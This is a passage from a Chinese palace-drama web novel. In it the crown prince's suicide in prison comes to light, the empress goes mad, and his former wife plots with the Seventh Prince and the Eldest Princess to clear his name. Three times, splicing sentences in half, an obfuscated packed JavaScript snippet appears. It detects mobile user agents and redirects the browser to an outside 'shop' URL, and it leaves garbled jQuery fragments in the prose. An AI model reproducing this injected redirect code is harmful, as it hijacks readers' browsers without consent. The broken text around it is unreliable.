“父皇……”刘安自责不已,抬眼看向承道帝,早已是泪眼朦胧,声音哽咽道:“若我当时能果断一些,能将太子带出天牢,太子也不会自尽了。” 承道帝闻言,心中咯噔一下,怀疑太子自戕与刘安有关,语气颇为不善,反问道:“你去见过太子?” 刘安沉浸在自责之中,低着脑袋,点点头,抽泣道:“父皇昏迷,宫中无主,长秋宫又传来消息,皇后带着兵符出宫。儿臣颇为担心,便想着太子或许能止住这一场祸事。只是没想到……” “对了,太子交给我两封书信,嘱托我一封带给父皇和皇后,一封则是他与太子妃的和离书。”说到此处,刘安忙掏出太子亲笔所书的两封信件,呈与承道帝。 承道帝盯着刘安手中的那两封书信良久,终是下定决心,毅然接过两封书信。 待看完之后,承道帝这才发觉,他从一开始就错了。 太子这孩子心地纯善,虽说不如秦王那般聪慧,也不如小五小六那样活泼讨他喜欢,可他不该……他实在是不该对这个孩子过多苛责…… 承道帝心中悔恨万分,只是为时已晚。 “这和离书,朕准了,让太子妃回家去吧。” 承道帝万念俱灰,信件也随手滑落。 “安儿,我们去长秋宫,去见皇后。”承道帝踉跄起身,脚步虚浮地晃出了福宁殿。 刘安还没反应过来,承道帝便摇摇晃晃地出了内殿,刘安见状忙拾起书信,大致扫过一眼,赶忙取了披风跟在承道帝身后。 在外殿候着的英王刘元与七皇子刘昶二人,方才见吴善辅连跑带爬地进了内殿,便猜测有大事发生。如今又见承道帝这般此情形,心中腾起一阵不好的预感。 刘元和刘昶手疾眼快,均上前搀扶承道帝,承道帝不理,甩开二人,只一个劲儿地顺着路往前走。 刘元和刘昶满脸惊愕,还欲多问,跟在承道帝身后的刘安见状,忙使眼色摇头制止。 刘安跟上承道帝,将披风披在承道帝身上,柔声道:“父皇,天冷了,得加衣。” 承道帝眼神空洞地朝着宫门,漠然地拍了拍刘安。 刘安和吴善辅如影随形般,一左一右跟在承道帝身旁护着,三人来到了长秋宫。 “陛下万安,长公主殿下万安。”蔡尚宫见承道帝突然驾临长秋宫,惶恐万分,但仍强压着心中的惶恐,撑着一副镇定自若的模样接驾,生怕承道帝会察觉皇后此时并不在寝殿。 “皇后呢?” “娘娘……”蔡尚宫声音微弱,深吸一口气,替皇后遮掩道:“娘娘身体不适,已睡下了,陛下有什么要紧的的事,不如明日再来。” 承道帝缓步走向长秋宫主殿的正位,路过蔡尚宫身边时,斜眼瞟了眼蔡尚宫,见蔡尚宫头上的钗环有轻微的晃动,不免轻哼一声,想必此时皇后还在宫外联络晋国公造反吧。 “是吗?”承道帝明知故问,而后又顺着蔡尚宫的话,语气里一副担忧但神情却是一副探究:“既然皇后身体不适,为何不传御医诊治?” 在承道帝露出的威势之下,蔡尚宫明显底气不足,身体止不住的发抖,扯谎道:“这……皇后娘娘尚在……尚在禁足之中……” 承道帝揣着明白装糊涂,复又问道:“朕又不曾废后,即便是皇后身在禁足之中,难道就不能传御医了么?” “……”蔡尚宫垂头不语。 “传御医。” “朕去看看皇后,看看她病情到底如何。”说罢,承道帝起身,大步流星朝着内殿走去。 “陛下!”蔡尚宫撑着地,借力起身,小跑数步,坚定地挡在承道帝身前,拦住承道帝的去路,声音发抖道:“陛下,不如……不如……” 承道帝面无表情,问道:“不如什么?” 蔡尚宫哑然,不知该如何应答,但仍坚定地拦着承道帝。只要能拖住陛下,能保住皇后,即便是她身死,也在所不惜。 “不如陛下日后便不要再来了!” 皇后猛地掀起内殿与主殿的素纱帘,怒气冲冲地走出内殿。 皇后此时还不知道太子的消息。她原本想借助晋国公稳住京城,待拿下皇宫后,再与晋国公里应外合,扶太子登基。却不想晋国公胆小,烂泥扶不上墙,竟还希冀着日后能安安稳稳地做晋国公!真是可笑。 可没有晋国公的帮助,她的胜算很小,甚至还会牵连太子。皇后无法,只得先回宫继续周旋。 皇后还是寄希望于承道帝的,毕竟还未曾下发关于太子的定罪诏书,毕竟一日夫妻百日恩,她不信承道帝会这么狠心。 原想着低头服软委曲求全,可再见到承道帝时,想起承道帝这些年对她的冷落,想起承道帝与她发生的争执,想起承道帝盛怒之下打她的那一巴掌……呵,夫妻?她大概是疯了,竟然寄希望于她与承道帝的夫妻之情。 他与她之间,哪里还有什么夫妻的情分? 皇后带着怒气道:“不如陛下一纸诏书废了臣妾与牧儿!” 说罢,皇后倔强地扭过头,不再看承道帝。 见皇后身着素衣,卸了钗环首饰,披散着头发,面容哀怨倔强地站在承道帝面前。 承道帝看着眼前的皇后,平静道:“你以为朕不想吗?” 皇后听闻一愣,缓缓扭过头,看着平静地说出这句话的承道帝,似哭似笑道:“那陛下还在等什么?何不快快下旨?臣妾与太子也好给贵妃与秦王腾位置腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274243|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫室!” 承道帝平静地接受着皇后对他的控诉,怀着对太子的愧疚,并没处置皇后,将太子的信拿给皇后看。 皇后将信将疑地打开信件: 父皇母后膝下,敬禀者: 儿不孝,自幼承双亲之抚育,得双亲养育之恩,恩深似海,昊天罔极,无以为报。 母后德行贵重,养育之恩,高如山,深如海。然今时之举,危险万分,儿忧心如焚。母后素来心怀仁善,还望母后息此举,消此意。儿泣血顿首。 为子二十载,不能常侍双亲左右,劳父母挂心烦忧,愧疚难安。天气渐寒,望双亲善自珍摄。 为太子二十载,失地未归,边境未稳,敌军未灭,每每想起,寝食难安。国事繁重,望父皇勿过度费心劳神。 儿心中唯有一事牵挂万分,温国公长女温嘉诚,品行良嘉,性情稳重,无辜受此牵连,儿心不忍,已写下和离书,从此以后,再无瓜葛,各自安好。还望父皇应允。 不孝儿敬上。 皇后看完书信之后,僵在原地,不敢相信地又重头看了一遍又一遍,直到耳边传来“太子狱中自戕”,方才停下手中的动作。 太子狱中自戕……太子狱中自戕……太子狱中自戕……这句话不停地在皇后耳边不停。 “太子自戕……”皇后不可置信地喃喃道,神情有些恍惚,倏地,皇后余光瞥见承道帝,只一瞬,便猛地扑向承道帝,发疯般地喊打道:“我的牧儿,你还我的牧儿!” 承道帝胸口的龙袍纹样被皇后硬生生撕扯下来一块,脸上也被皇后的指甲刮花。 “若不是你,我的牧儿怎会……” 承道帝耐心耗尽,心中的愧疚也随着皇后的发狂消失殆尽,抬手就是一巴掌,重重地落在皇后脸上,冷脸道:“太子也是朕的儿子,难道朕就不心痛吗?” 皇后倒在地上,拍着地板哈哈大笑,癫狂不已:“你?哈哈哈哈哈,你巴不得扶秦王上位吧!” “可怜我的牧儿……入秋了,天冷了,也不知牧儿衣衫是否单薄。”忽而又痴笑不已,忧心忡忡。 “牧儿——”皇后起身,开始满宫殿地寻找着太子刘牧,见蔡尚宫跪在地上,小跑到蔡尚宫面前,发痴道:“你见过我的牧儿吗?” “我牧儿,最是体贴。” 蔡尚宫不可置信地看着眼前发疯的皇后,手指颤抖地拂去皇后脸上发乱的头发,小心翼翼地捧起皇后的脸,心疼道:“娘娘……” 皇后见蔡尚宫答非所问,又跑去了其他地方,对着旁边一人多高的花瓶问道:“牧儿!牧儿!你们见过我的牧儿吗?” 皇后就像只被囚禁的疯鸟一样,在长秋宫的牢笼里四处乱飞乱撞。 皇后又飞到了刘安身旁,手里绞着胸前垂下的头发,一副小女儿的姿态,歪着头问道:“永安公主,太子素来与你亲近,他可在你宫里玩耍?” 皇后语气委屈道:“肯定是我前几日说话说重了,太子与我闹脾气了,这么久都不来看我。永安公主,你见到太子,可要让他多穿些衣裳,天冷了。” 皇后的记忆好像停在了前几年。 刘安看着眼前的皇后,百感交集,唏嘘不已。 虽刘安心中恨她害了自己的母亲和祁娘娘,虽恨她乱插手自己的婚事,虽恨她有不臣之心,可看着她如今为了孩子成了一个疯妇的样子,多少还是有些于心不忍。 刘安看着皇后眨巴着眼睛盯着她,不忍道:“好。” 承道帝站在长秋宫正殿中央,静静地看着殿内乱飞乱撞的皇后,许久,终是沉下心来,拂袖离开。 待行至长秋宫门口,或是于心不忍,停下脚步,驻足而立,回头看了皇后一眼,而后又转过头去,头也不回地离开了正殿。 出了正殿,承道帝看到远处阶下跪地整整齐齐的一众御医们,转了转手中的扳指,而后只轻飘飘留下了一句: “皇后疯了。” 47. 巫蛊(十七)疑点重重 承道二十二年八月,太子狱中自戕。 同年同月,皇后突发癔症,被帝幽禁于长秋宫。 云清宫,贵妃主仆正说着小话。 “娘娘,听说了吗,皇后疯了……”李尚宫一边为贵妃捶腿,一边凑到贵妃耳边低语。 “疯了?”贵妃睁开含着困意的眼睛,疑惑地看向李尚宫,这怎么可能呢? 当今皇后出身于晋国公府,从小要强,凡事都要争,怎么可能会突然疯了呢? 难道是因为太子吗? 可哪怕太子失势自戕,宫里还有其他皇子,什么六皇子、七皇子、八皇子,再不济还有个二皇子,日后无论谁有幸登基为帝,她也是太后啊,怎么可能会疯了呢? 李尚宫继续回道:“错不了,陛下身旁的吴内官亲眼所见。” 贵妃闻言唏嘘不已,她怎么也想不到,和她斗了二十几年的人,就这么疯了,思绪也早就飘出了云清宫。 想当初,启盛帝薨逝,因启盛帝无嗣,兄终弟及,皇位便到了启盛帝的弟弟信王,也就是当圣上这里。 信王刘适登基为帝,年号承道。 承道元年,她与晋国公家的小姐——如今疯了的皇后,同时入宫为妃。 圣上封她为淑妃,当今皇后还是地位仅次于她之下的德妃。 她与皇后出身相当,又有闺阁中的情意在,二人又同一时间有孕,很是投缘,甚至还约定了日后无论是谁先生下孩子,对方都是孩子的姨母。 即便圣上曾下过旨意,谁先诞下皇子便立谁做皇后,这道旨意也丝毫没有影响她们之间的感情。 即便晋国公和齐国公在前朝都吵翻了天,颖州蔡氏与汀州张氏都到了水火不容的地步,也没影响她们在后宫同吃同玩同住的情谊。 初入宫的那段时光,有至交好友的陪伴,有当今天子的宠爱,又有身孕傍身,每每念起,都是她在宫里最快乐的日子。 只可惜好景不长,皇后率先背叛了她们之间的情谊,她是那么信任皇后,却被皇后暗中使了手段。 皇后假借宫中道路湿滑的由头,从步撵上跌落,先于她一步诞下了孩子。 她这才发现,原来只有她一个人毫无心机地与皇后交心,原来只有她一人自始至终都傻乎乎的。 当年的德妃摇身一变,成了皇后,坐拥长秋宫,掌皇后金印册宝,授六宫之权,她生的皇子刘牧,也成了太子,入主东宫。 昔日的至交竟然不择手段地踩着她成为了皇后。 她接受不了,也无法接受。一切全变了。 可能唯一不变的,只有圣上对她的爱了吧。 她的一双儿女出生时,天空伴有七彩祥云的异象。司天监说,龙凤胎降世,有龙凤呈祥的美意,七彩祥云这是圣人降世的吉兆。 圣上大喜,大赦天下,这是太子出生时都没有的待遇。也是自那以后,她与皇后便愈发地不对付。 皇后攀咬她未曾管好宫闱,纵容宫人偷懒耍滑,导致路面湿滑,致使皇后跌落轿撵早产,此生不育。 但她觉得皇后的说辞简直是无稽之谈,因她知晓皇后日日会来她宫中与她作伴,因此前往云清宫的路是她日日嘱咐人打扫干净的,何来她纵容宫人偷懒耍滑一说! 依她看,分明是皇后为了后位不择手段,还妄想栽赃陷害她,事发后更是无言见她,这才想出来这幅说辞推脱!虚伪至极! 贵妃复又看了李尚宫一眼,叹了口气问道:“什么时候的事?” 李尚宫回道:“就昨儿的事,陛下和长公主去长秋宫见了皇后,陛下从长秋宫出来后便封禁了长秋宫,还处死了蔡尚宫。” 昨日刚听闻太子自尽,今日又听闻皇后疯了,贵妃一时间唏嘘不已。 李尚宫小心翼翼地讨好道:“娘娘,眼下这储君的位置不就是秦王殿下的囊中之物了吗?” 是啊,太子没了,未来储君的位置不就是茂儿的吗?她应该高兴才是,这位置本来就应该是茂儿的,如今也算是物归原主了,可为什么她此时却怎么高兴不起来呢? 贵妃将依靠的垫子挪了个位置,换了个更舒服的姿势,告诫李尚宫道:“以后这话不要再说了。免得叫旁人听见,以为太子这事是茂儿所为。” 李尚宫应下:“是。娘娘总是这般小心谨慎。” “巫蛊那事儿可有定论吗?”贵妃突然想起,中秋那日发现的巫蛊人偶,是整件事情的导火索,忙关切地问道。 李尚宫回道:“听说陛下派长公主审问了身边的吴内官,都用上了刑,想来已经全招了,只是陛下尚未公布结果,大家都只是在猜测。” “吴内官?”贵妃下意识反应是承道帝身边的大总管吴善辅,震惊不已。 吴善辅不是跟在陛下身边几十年的老人了吗?虽说吴善辅与太子走得有些亲近,可怎么也不会背叛陛下啊? 难道巫蛊诅咒一事真是太子所为? 李尚宫解释道:“不是,是前不久陛下刚提上来的,还给他赐了名字,唤作吴忠义。” “吴忠义?”贵妃念了一遍,呵笑两声,“真是应了他这个名字,无忠无义。” “对了,太子自戕,那东宫的亲眷宫人们可还在天牢之中吗?嘉诚那孩子……”贵妃叹了口气,真是造化弄人,原本想让嘉诚与茂儿婚配,拉拢温国公,却没想到茂儿早早娶了还朝为妻。后来嘉诚又成了太子妃,嘉诚与茂儿终究是无缘。只是没想到最后嘉诚这孩子又受到了太子牵连。 贵妃不由得叹了口气,唉,真是命途多舛。 李尚宫道:“说起这个,不得不说太子真是宅心仁厚,听说还特地写了封和离书,把太子妃从巫蛊这件事中给摘干净了呢。” “那就好。”贵妃松了口气。 贵妃与温国公夫人是亲姐妹,嘉诚又是她妹妹的独生女儿,若是嘉诚出事,那妹妹还不知道要如何忧心呢。 天牢外,温国公和夫人带着承道帝交由他们的和离书,将女儿温嘉诚接出天牢。 温嘉诚走出湿热阴暗的天牢,猛地吸上一大口新鲜的空气,抬头望天,天上的太阳甚是刺眼,不过,她喜欢这种感觉。 “父亲!母亲!”温嘉诚远远地便看到温国公夫妇,欢喜地飞扑奔向二人。三人相拥而泣。 温国公夫人捧着温嘉诚的脸,左看右看,上看下看,发现温嘉诚面颊凹陷,头发毛躁干枯,毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274244|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以往的光亮柔顺,人也都瘦了一圈。 这进去不过才几日的光景啊,女儿竟被折磨成这个样子,一时间,温国公夫人心疼不已,哭泣道:“我的儿!你受苦了。” “最苦的时候已经过去了,前途漫漫,一片光明,母亲勿忧。”温嘉诚安慰道,转头又欣喜不已地问温国公,“父亲,是陛下为东宫昭雪了吗?” 这……温国公见温嘉诚满脸的喜色,一时竟不知该如何将真相说出口,遂垂下眼眸,错开女儿的目光,无奈摇摇头。 温嘉诚看父亲摇头,疑惑不已,既然真相还未查明,清白未还,她身为太子妃,又怎能独善其身又怎能安然无恙的离开天牢呢? 温国公为温嘉诚披上披风,轻言细语地劝道:“我们先上车,上了车再将原委细细说与你听。” 温嘉诚半信半疑地跟着父母上了马车,马车徐徐驶向国公府。 “父亲母亲,到底是怎么一回事?” 在温嘉诚不断地追问之下,温国公才缓缓吐出实情:“前日,太子自戕,临逝前写下了和离书,陛下应允了。此后,巫蛊之事与你再无干系。” “太子?自戕?怎么会呢?” 温嘉诚满心满眼地不相信。 “不可能,不可能,太子怎么可能会自戕呢?” 太子胸有大志,为人坚韧,还想着清除官场时弊,任用贤才,让国家富强,让百姓安居乐业,怎么会想到自戕呢? “我不信,这其中一定另有隐情,太子殿下一定是被人陷害的!我要回天牢,我要见太子!我要进宫,我要见皇上!我要见皇后娘娘!” 温嘉诚不明白,也不相信,太子一切都筹谋妥当,单等时机成熟,怎么会……怎么会……自戕一定是假的!一定是假的! 她要回天牢找到太子,她要问个明白,即便是太子死了,那尸首也还在,她一定要验个明白。 “嘉诚!”温国公夫人带着哭腔,拦住倔强的想要下车回天牢的温嘉诚。 “父亲!母亲!”温嘉诚被温国公与夫人制住不能动弹,无措地看向阻拦她的温国公和温国公夫人。 温国公夫人劝道:“嘉诚,太子临了前保下了你,你万不可去做傻事,不为了别的,就为了太子这份心,你也要为他好好活着啊!” 温嘉诚始终不信:“怎么可能……他既然能保下我,他又怎么会自戕呢?他是绝对不会做出自戕的举动啊!” “这封和离书是太子临了前写下的,为父认真比对过,确是太子亲手所书。”温国公将和离书拿给温嘉诚看。 温嘉诚紧紧盯着和离书,双手颤抖地接过和离书,如获至宝般捧在手里细看,还未看完,便已泪眼朦胧。 温国公见女儿哭成了个泪人,痛心无奈地叹了口气,轻轻拍着温嘉诚的肩膀劝道:“我们先回去,从长计议。” 温嘉诚将和离书翻来覆去地读过一遍又一遍,无助地闭上眼,将和离书紧紧贴在胸口,感受着太子残留的气息。 过了许久,温嘉诚定下心神,长长地吸了一口气后吐出,坚定地睁开双眼,她决定了—— 她要为太子翻案! 她要为太子讨一个清白公道! 48. 巫蛊(十八)谋划翻案 “嗖——” 一只利箭从巷子里穿出来,朝着七皇子刘昶的面门飞了过来。 刘昶紧急勒马避让,偏头躲过这一箭。利箭擦着刘昶的耳垂呼啸而过。 刘昶恶狠狠地盯着那支利箭,眼眸微眯,竟然有人敢当街射杀皇子! 真是胆大包天! 他今日倒要看看,究竟是谁这么大胆! 刘昶回过神来,一鞭子狠狠地抽在马身上,朝着巷子深处追去,追至巷尾,被堵墙挡住了去路。 刘昶飞身翻过墙壁,骑在墙头,向墙外看去,墙外是不远处是繁华的街道。 刘昶模拟着箭矢射过来的角度,应该是从巷子外的高处射过来的,但街道两侧是低矮的商铺,不像是弓箭手的藏身之处。 高处……刘昶四处张望着,高处只有醉云轩一处! 难道弓箭手埋藏在醉云轩?想至此处,刘昶惊出一身冷汗。 醉云轩距离他有几百步的远,箭矢的力量强劲,险些射中他的要害,若是弓箭手离得再近些……究竟是谁想要他的命? 刘昶不敢再继续想下去,正欲回宫向长姐长兄寻求帮助,忽瞥见醉云轩四层的一处包厢的窗户前似有人影闪过,那间包厢的客人似乎是察觉到他的目光,挑衅般地将窗户关上了,切断了他的视线。 好好好,竟然这般明目张胆。刘昶怒不可遏,跳下墙头,气冲冲地朝着醉云轩走去,他倒要看看究竟是谁。 “七殿下——” 刘昶还没踏入醉云轩,店里伙计便弓着腰,一脸谄媚笑着,小跑着凑上来。 刘昶摆手,不搭理店里伙计,径直朝四楼走去。 小二拦在刘昶面前:“殿下,四楼是贵客的包厢,您不能去——” 刘昶停下脚步,乜视道:“贵客?普天之下,还会比我这个皇子要尊贵吗?” 店里伙计不敢作声。 刘昶继续道:“不知是哪位皇室宗亲,本宫倒要亲自去看看。” 说罢,刘昶推开店里伙计,大步流星抬脚迈步,见店里伙计又欲拦着,瞬间拉下脸,瞪了店里伙计一眼,质问一声:“怎么?” 店里伙计见刘昶脸上带了怒气,不敢再拦,侧身让出一条道容刘昶过去。 刘昶冷哼一声,三步并两步地来至四楼的雅间包厢。 四楼共两间包厢,一间无客,房门大开,包厢内的窗户并不临街,另一间有客,房门紧闭。 刘昶在有客的那间包厢外侧身驻足片刻,未曾听到包厢内张弦的声音,便大着胆子闯进包厢。 包厢内赫然站着一人,身量削瘦,头发高拢扎起,一身劲装打扮,身上背着长弓,背对着他站立。 那人听到刘昶推门而入,缓缓转身。 待看清那人的面孔,刘昶心中一惊,怔怔地站在原地,竟是太子妃温嘉诚! 温嘉诚神色戚戚,言语满含歉意,颔首道:“非常时期,不得已使用此非常手段将七殿下引至此处,多有冒犯之处,还望七殿下见谅。” 刘昶警惕地环视一圈屋内情形,并无什么埋伏的刺客,而后又警惕地朝门外检查了一番,见没有异样,这才小心地关上房门,问道:“太子妃嫂嫂,可是有什么话要说与我?” 温嘉诚也不绕弯子,直言道:“殿下,当日中秋宫宴,是殿下最先发现的刺客。也是殿下最先追着刺客一路追至太子寝殿,不知殿下可曾察觉到什么异样?” 温嘉诚盘算过,要想为太子翻案,一般的大臣重臣还不行,需得借助皇室宗亲的力量。 而在诸位皇室宗亲,大皇子英王与大皇女永安长公主虽在陛下面前受宠早早就开府建衙,可正因为他们受宠,陛下特许他们居于皇宫的东华殿和福康宫内,面见二位殿下不易。 余下的诸位皇子之中,二皇子不受待见,六皇子胆小,八皇子年幼,都在陛下面前说不上话。而四皇子秦王素与太子不对付,五皇女宁乐公主是秦王的同胞手足,想来她也定不愿意插手太子这件事。 唯余七皇子,为人刚正不阿,与英王余永安长公主交好,又素来受太子照拂,想来会助她一臂之力,为太子翻案的。 温嘉诚满眼希冀地望向七皇子刘昶。 刘昶垂眸细细思索着那日的情形,事发突然,他只记得那黑衣人对东宫很是熟悉。 温嘉诚见刘昶想得有些为难,毫不犹豫地扑通一声跪在地上,压低声音乞求道:“还望七殿下看在你与太子自幼的兄弟情分,细细想想,不要放过一丝一毫的细节。” “太子妃嫂嫂!”刘昶惊呼一声,赶忙扶起温嘉诚,一脸为难道:“我只记得那人对东宫很是熟悉,那人在东宫内七拐八绕,三两步的功夫就到了太子寝殿处,我还险些跟丢了……其余的,并未有什么异常。” 刘昶猜测道:“只怕是……东宫内的人。” 温嘉诚佯装了然地点点头,卖了个关子道:“这些天我也是这么想的。想来是太子抓住了某些人的把柄,那些人等不及了,这才与东宫内的眼线里应外合,策划了这么一出‘大戏’!” 说罢,温嘉诚懊悔不已,垂头道:“原先太子计划待秋猎结束后,要好好清洗裁撤一波宫人,却不想晚了一步。” 刘昶抓住关键字眼,忙问:“是谁敢陷害太子?” 温嘉诚眼睛一亮,目光如炬,道:“太子顾念与那人的情谊,并未将那人的身份告明我,不过,就现在京中的形势,没了太子殿下,谁人最得势?七殿下难道还看不明白吗?” 是……是四哥……刘昶不敢与温嘉诚对视,他不敢相信,四哥与他一样,性格刚直,断然使不出这些个阴毒手段,可…… 刘昶磕巴道:“无凭无据,还是不要胡说八道的好。” 温嘉诚道:“证据就在东宫之内,太子寝殿的卧榻前左数第三块地砖之下的一个密匣中!” 刘昶见温嘉诚说得这么言之凿凿,一时慌了神,不知该如何是好。 温嘉诚继续道:“殿下与我同去取出那证据,是非对错一看便知。” 刘昶没了主意,垂头不语,许久,才道:“东宫封禁,若无父皇手谕,不得进出。” 温嘉诚见状,声音带了哭腔,道:“那……那该如何是好?总不能让太子殿下就这么不清不白地含冤离去吧!” 温嘉诚向天哭诉道:“苍天呐!你睁开眼看看吧!一生勤政爱民的太子殿下就这么被人冤枉了!” 刘昶灵机一闪道:“去见大哥哥和大姐姐!他们一定有办法!” 温嘉诚擦了擦眼角的泪花,急忙道:“那还等什么,赶紧去吧。” 刘昶在温嘉诚的催促之下,带着温嘉诚匆忙朝宫里赶去。 路上,刘昶平静下来,察觉到一丝不对劲,狐疑地看向温嘉诚,自己似乎……一直被温嘉诚牵着鼻子走。 温嘉诚被看得有些心虚,垂眼不敢与刘昶对视。 好在路途不远,不多会,二人便到了皇宫。 宫门值守的侍卫拦住薄纱蒙面的温嘉诚。 刘昶道:“这是长公主身边的宫女莲房,奉长公主之命出宫。” 侍卫互相对视一眼,有些疑惑,今早未曾见到这位宫女的出宫记档啊。 侍卫们虽有些疑惑,仍旧恭敬道:“烦请姑娘摘下面纱。” 温嘉诚佯装咳嗽几声。 刘昶会意,道:“莲房姐姐吹了些风,身子有些不适,这面纱就不必摘了。” 见侍卫们不肯让步,怒道:“本宫说话还会有假吗?快些让开,省得让大姐姐等急了。” 侍卫们见刘昶搬出长公主,这才放他们二人进宫去。 “大姐姐,你看看这是谁。” 永安长公主刘安顺着刘昶的声音看过去,看到了他身后缓缓摘下面纱的温嘉诚,不可思议地站起身来。 “臣女温嘉诚拜见长公主殿下。” “快快起身,无需多礼。”刘安扶起温嘉诚,问道:“嘉诚,你扮成宫女的样子潜入皇宫,可是有要事?” 温嘉诚点点头。 刘昶在一旁插嘴道:“大姐姐,嫂嫂她有能为太子殿下洗刷冤屈的证据。” 刘安眼前一亮,下意识问道:“在哪?” 温嘉诚凑到刘安耳边,低语:“在东宫内。” “东宫……”刘安喃喃道。东宫封禁,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274245|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无父皇手谕,任何人不得进出。温嘉诚托七弟前来拜见她,想来是为了父皇的手谕。 刘安有些为难地踱了几步,道:“我知道了,你先回去吧,待我讨来父皇的旨意再——” 话还没有说完,温嘉诚打断道:“等不及了,再过几日就要盖棺定论了,若要再为太子殿下翻案再验,那可就难上加难了。” 刘安反问道:“验?你想验什么?” 温嘉诚道:“验尸,验明太子殿下真正的死因。” 刘安不容温嘉诚多说,摇头拒绝道:“这……不可。” 若要验尸必然少不了开膛破肚,太子生前便不得安宁,受尽苦楚,死后难道也要再受到苦楚吗?他可是一国储君啊,难道死后也要不得安宁吗? 温嘉诚急道:“长公主难道就没有疑惑吗?太子怎么会没有缘由的自尽?难道就仅仅因为被人诬陷就感到失意从而自尽吗?” “太子曾被殿下与英王殿下共同教导过的,太子什么样的人品,难道殿下不清楚吗?” “太子是殿下的手足至亲,难道殿下就不想看着他清清白白的吗?” 温嘉诚语气高亢,情绪激动地盯着刘安,她想从刘安嘴里听到她想要的。 太子自戕后,京中便有传闻:长公主是最后见过太子的人,说不定是长公主奉了皇帝的命令,秘密处死太子,伪造成太子畏罪自尽的假象。 可太子巫蛊那可是莫须有的罪名,她不信陛下会听信谗言,不分青红皂白的处决太子,她也不相信长公主会全然不顾手足至亲的情意。 莫非是长公主因为大婚一事而怨恨上太子,从而顺水推舟报复太子以解心头之恨? 可到底是手足至亲啊! 温嘉诚不敢去想,故而有了此次谋划,一为通过长公主拿到陛下的旨意,进东宫拿到证据,为太子翻案;二来,她要面见长公主,验证京中的传言是否为真。 温嘉诚见刘安久久不回复,急得口不择言:“莫不是长公主也参与?” “你胡说!”一旁的刘昶听到刘安被诋毁,急得跳出来反驳。大姐姐是什么样的人他不知道吗?断不会做出如温嘉诚所说的那些脏事! 刘安径直走到温嘉诚面前,直勾勾地盯着温嘉诚的眼睛,许久,冷哼一声,道:“你回去吧。既然太子与你和离,将你从这桩案子里面摘出去,你又何必再卷进来辜负了太子的一番用心呢?” 说罢,便不再看温嘉诚,转身就要走。 温嘉诚高声质问:“长公主这是不打算管了吗?” 刘昶拦住劝道:“大姐姐都这么说了,想来是没有什么更好的办法了,你先回去吧。” 温嘉诚绕过刘昶,只身走到刘安面前,嘲讽道:“他们连太子都敢诬陷杀害,长公主以为自己就能独善其身吗?” “长公主以为——”温嘉诚顿了顿,继续道:“英王又能独善其身吗?” 温嘉诚不敢确定长公主刘安是否如传言中一样,传谕赐死太子,她今日只能赌一把。 她要赌一把长公主心中的手足之情。 温嘉诚见刘安没有动容,不免有些失落。 她赌输了。 难怪人们常说,最是无情帝王家,她竟然还希冀长公主会有所不同,真是痴人说梦。 温嘉诚心中了然,转身告退:“臣女温嘉诚,拜别长公主殿下,愿长公主殿下福寿安康。” 不待温嘉诚起身,便听到耳边传来一声: “传父皇口谕,朕甚为思念太子,尔等代朕去东宫取些太子日常所用之物吧。” 温嘉诚不可置信地抬头看向刘安。 刘安手持承道帝御赐的金印,看着温嘉诚,催促道:“你不是要去东宫吗?如今圣上口谕,你不接吗?” 温嘉诚的话深深触动了刘安,是啊,她虽为长公主,尊贵无比,可太子身为一国储君,都躲不开被人算计暗害,她这个无什么权势的长公主,又怎么能独善其身呢? 这些人今日敢害太子,明日只怕就要对她与英王下手了,她绝不能坐以待毙。 温嘉诚高举着双手,捧过御赐金印,高喊道:“臣女温嘉诚领旨!” 49. 巫蛊(十九)查明真相 在去东宫的路上,温嘉低头诚摩挲着手中的御赐金印,心中还是有疑问,犹豫再三,开口问道:“七殿下——” 刘昶猜到温嘉诚想问什么,头也不抬便回道:“先斩后奏,父皇特许。” 温嘉诚了然地点点头,不由得心中感慨,长公主果真受陛下宠爱。 猛然间,想到京中的传闻,长公主奉陛下的旨意秘密处死太子……那处死太子的旨意到底是长公主的意思还是陛下的意思呢?还是长公主先斩后奏之后又讨来了陛下的旨意呢? 莫非长公主才是这始作俑者? 倘若长公主是幕后的始作俑者,那自己现在的岂不是自投罗网了?那太子白费心将自己从这个案子中摘出去吗? 可长公主为什么要暗害太子呢? 温嘉诚全然没了头绪,心里乱成一团。 她现在也不知道自己正在做的到底能否为太子洗刷冤屈,也不知道自己是否又掉入了旁人的圈套,也不知道自己如今的举动是否会连累到太子连累到父亲母亲。 只能硬着头皮继续往下走。 凭着御赐金印,二人畅通无阻地进入东宫。 不过几日的光景,东宫内已变得十分凄凉冷清。 一迈进东宫,温嘉诚看着眼前一幕幕熟悉的场景,一间间熟悉的宫室,一颗颗熟悉的花草树木,不由得眼眶湿润,心头一酸。 只可惜熟悉的人都不见了。 